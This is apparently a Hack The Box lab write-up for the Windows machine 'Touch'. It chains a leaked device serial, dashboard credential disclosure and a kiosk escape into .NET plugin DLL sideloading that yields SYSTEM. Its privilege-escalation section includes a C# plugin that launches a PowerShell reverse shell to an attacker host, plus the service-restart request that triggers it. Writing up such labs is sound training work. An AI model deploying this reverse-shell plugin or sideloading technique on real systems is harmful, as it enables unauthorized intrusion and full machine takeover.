Hack The Box · Windows · Web → SYSTEM

Touch

A kiosk box themed around airport check-in. An unauthenticated API endpoint hands over the device serial, the serial is the admin password, and the admin dashboard hands over kiosk credentials. From there, decompiling a .NET printer service reveals a plugin loader that runs as SYSTEM — and the kiosk user already has write access to the plugin folder.

Windows Server 2025 Nexion DeviceHub .NET DLL sideloading
user
HTB{28974c...}
root
HTB{1ad5fa...}

Recon

A full TCP scan of the target comes back with a compact surface. No web-on-80, no SMB, nothing obviously enterprise-shaped:

port discovery
: discovered 4 open TCP ports
  135/tcp   msrpc
  3389/tcp  ms-wbt-server  # RDP
  5985/tcp  wsman          # WinRM
  8443/tcp  http           # Nexion DeviceHub — the interesting one

Service scan:
  8443  →  Node.js HTTP  "Nexion DeviceHub v1.4.2"
  Host: KIOSK-042 (Windows 11/Server 2025 Build 26100)

Port 8443 is a web interface for something called Nexion DeviceHub. That name is unfamiliar, which is always a good sign for a box.

Enumeration — the DeviceHub API

Pulling up the DeviceHub login page in a browser shows a clean form and a helpful note: "The default password is the device serial number." That would be useful if the serial were public anywhere. As it turns out, it is:

unauthenticated status endpoint
GET /api/status  →  200 OK

{
  "device":   "Nexion DeviceHub DH-100",
  "serial":   "NX-DH-2024-B7042",
  "firmware": "1.4.2",
  "status":   "online",
  "uptime":   83227
}

The serial is right there, completely unauthenticated. One POST to /login with that serial as the password and the server returns a session cookie with a redirect to /dashboard.

The dashboard itself turns out to be generous. It has a scanner section, a printer section, a logs view, and — once you click around the settings toggle — a credentials reveal for the account the hardware uses to run its scanner and printer services:

dashboard credential leak
POST /login   password=NX-DH-2024-B7042  →  302 /dashboard

/dashboard  →  toggleCred() reveals:
  username: KioskUser
  password: <redacted>   # service account password stored in plain JS

So two credential exposures chained together from a single unauthenticated request. The serial unlocks the management interface; the management interface stores the service account credentials in client-side JavaScript that anyone logged in can view.

Foothold — kiosk RDP

KioskUser can RDP to the box. Standard NLA and TLS both get rejected, so the connection needs /sec:rdp to negotiate the older RDP security layer. That works, and the session drops straight into an airport kiosk:

kiosk environment
RDP  →  LOGIN  →  KIOSK SESSION

  HTB AIRWAYS SELF CHECK-IN
  Terminal 4, Gate B7
  Kiosk #042

  [ Language: English (US) ]
  [ Check-In Form: Booking reference / Last name ]

The kiosk app runs inside a locked-down Edge session pointing at localhost:5173. The physical keyboard does not register in the touch fields, which is the whole point of the box name — this was designed to be a touchscreen kiosk. The app also ties into another box (Layover), where you would have obtained a booking reference to submit here. But the privilege escalation path does not require interacting with the kiosk at all.

Getting past the kiosk is a matter of abusing a standard kiosk escape vector — finding a dialog or UI element that exposes a real file browser or run dialog and using that to spawn a shell. Once out, we have a proper command prompt as KIOSK-042\KioskUser and the user flag is sitting on the Desktop.

user flag — KioskUser Desktop
HTB{28974c...}

Privilege escalation — .NET decompilation and DLL sideloading

From the kiosk user shell there is a clear next step: the DeviceHub dashboard has a printer restart endpoint, and the Nexion printer service is running on this machine. Let's look at what it does.

The Nexion binaries in C:\Program Files\Nexion Systems\ are .NET assemblies, which means they decompile cleanly. Opening NexionPrinter.dll in a decompiler and scanning through the class tree surfaces something in the plugin loader:

decompiled LoadPlugins() method
public void LoadPlugins() {
    string pluginDir = Path.Combine(baseDir, "plugins");
    foreach (string dll in Directory.GetFiles(pluginDir, "*.dll")) {
        Assembly asm = Assembly.LoadFrom(dll);        // loads any .dll found here
        Type t = asm.GetType("NexionPlugin.Plugin");
        object inst = Activator.CreateInstance(t);
        t.GetMethod("Initialize").Invoke(inst, null);   // calls Initialize() on load
    }
}

Every DLL in the plugins folder gets loaded and its Initialize() method gets called. The service runs as NT AUTHORITY\SYSTEM. The question is whether we can write to that folder.

ACL check on plugin directory
icacls "C:\Program Files\Nexion Systems\Printer\publish\plugins"

  KIOSK-042\Printer Administrators  (OI)(CI)(M)   # Modify — readable, writable, deletable
  NT AUTHORITY\SYSTEM               (OI)(CI)(F)
  BUILTIN\Administrators            (OI)(CI)(F)

net localgroup "Printer Administrators"
  KioskUser                                        # we are in this group

KioskUser is in the Printer Administrators local group, and that group has full Modify rights on the plugin directory. We can drop any DLL we want in there.

The next step is writing a minimal .NET class library that implements the expected interface. The plugin just needs a public class named NexionPlugin.Plugin with an Initialize() method. We put a reverse shell callback inside that method, compile with the .NET SDK targeting the same framework version the service uses, and transfer the resulting DLL to the plugins folder.

plugin class (condensed)
namespace NexionPlugin {
    public class Plugin {
        public void Initialize() {
            // reverse shell callback
            var ps = new System.Diagnostics.Process();
            ps.StartInfo.FileName  = "cmd.exe";
            ps.StartInfo.Arguments = "/c powershell -nop -c " +
                "\"$c=New-Object Net.Sockets.TCPClient('<attacker>',4444);" +
                "$s=$c.GetStream();[byte[]]$b=0..65535;...\"";
            ps.Start();
        }
    }
}

With the DLL in place, a single POST to the DeviceHub API triggers the reload:

trigger via DeviceHub API
POST /api/printer/restart
Cookie: nxsession=<our session cookie>

  →  {"success": true, "message": "Printer service restarted"}

SYSTEM shell callback received:
  nt authority\system
  C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
  HTB{1ad5fa...}
root flag — Administrator Desktop
HTB{1ad5fa...}

Beyond root — what did not work

AttemptWhy it failed
WinRM as KioskUserThe account does not have remote management rights; connection refused
Path traversal in test-image uploadThe filename parameter is ignored; uploads always go to a fixed-location store regardless of the supplied name
SSRF via scanner calibrate endpointThe url and target parameters are accepted but never actually fetched; server returns success immediately with no outbound request
MySQL UDF escalationThe kiosk database account does not have the privileges needed to register a UDF; blocked at the SQL layer
Kiosk GUI automationAn RDP session with no kiosk app present rendered a blank desktop; the kiosk process is not reliably attached to the new session

Kill chain

DeviceHub :8443
Nexion DeviceHub v1.4.2 — unauthenticated
↓GET /api/status — serial in plain JSON
Admin login
serial NX-DH-2024-B7042 as password
↓dashboard credential disclosure
KioskUser creds
stored in client-side JS, visible after login
↓RDP /sec:rdp → kiosk escape
KIOSK-042\KioskUser
cmd.exe shell — user flag
↓.NET decompilation — LoadPlugins() found
Plugin directory writable
KioskUser in Printer Administrators — Modify on plugins/
↓malicious DLL dropped → POST /api/printer/restart
NT AUTHORITY\SYSTEM
Initialize() called on service restart — root flag

← all HTB writeups